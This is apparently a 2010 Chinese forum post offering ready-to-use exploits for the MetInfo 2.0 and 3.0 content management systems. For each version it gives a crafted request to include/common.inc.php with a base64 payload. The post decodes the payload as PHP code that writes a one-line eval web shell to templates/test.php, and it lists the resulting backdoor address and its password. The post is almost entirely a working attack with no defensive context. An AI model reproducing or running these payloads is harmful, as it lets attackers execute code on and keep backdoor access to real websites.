MetInfo2.0-3.0

[复制链接]

曾经沧海

电梯直达

楼主

发表于 2010-11-5 22:20:43 | 只看该作者回帖奖励

|倒序浏览 |阅读模式

2.0
+poc:
include/common.inc.php?$class2_all_1[0]=[base64_encode(eval php code)]

+Exploit:
/include/common.inc.php?$class2_all_1[0]=ZnB1dHMoZm9wZW4oJy4uL3RlbXBsYXRlcy90ZXN0LnBocCcsJ3crJyksJzw/cGhwIGV2YWwoJF9QT1NUW2NdKTs/PicpOw==
the encoded part is fputs(fopen(''../templates/test.php'',''w+''),''<?php eval($_POST[c]);?>'');
backdoor：http://site/templates/test.php password:c

-----------------------------------------------------------------------------------------
3.0
+POC：/include/common.inc.php?allclass[0]=[base64_encode(eval php code)]
+Exploit:
/include/common.inc.php?allclass[0]=ZnB1dHMoZm9wZW4oJy4uL3RlbXBsYXRlcy90ZXN0LnBocCcsJ3crJyksJzw/cGhwIGV2YWwoJF9QT1NUW2NdKTs/PicpOw==
the encoded part is fputs(fopen(''../templates/test.php'',''w+''),''<?php eval($_POST[c]);?>'');

backdoor：http://site/templates/test.php password:c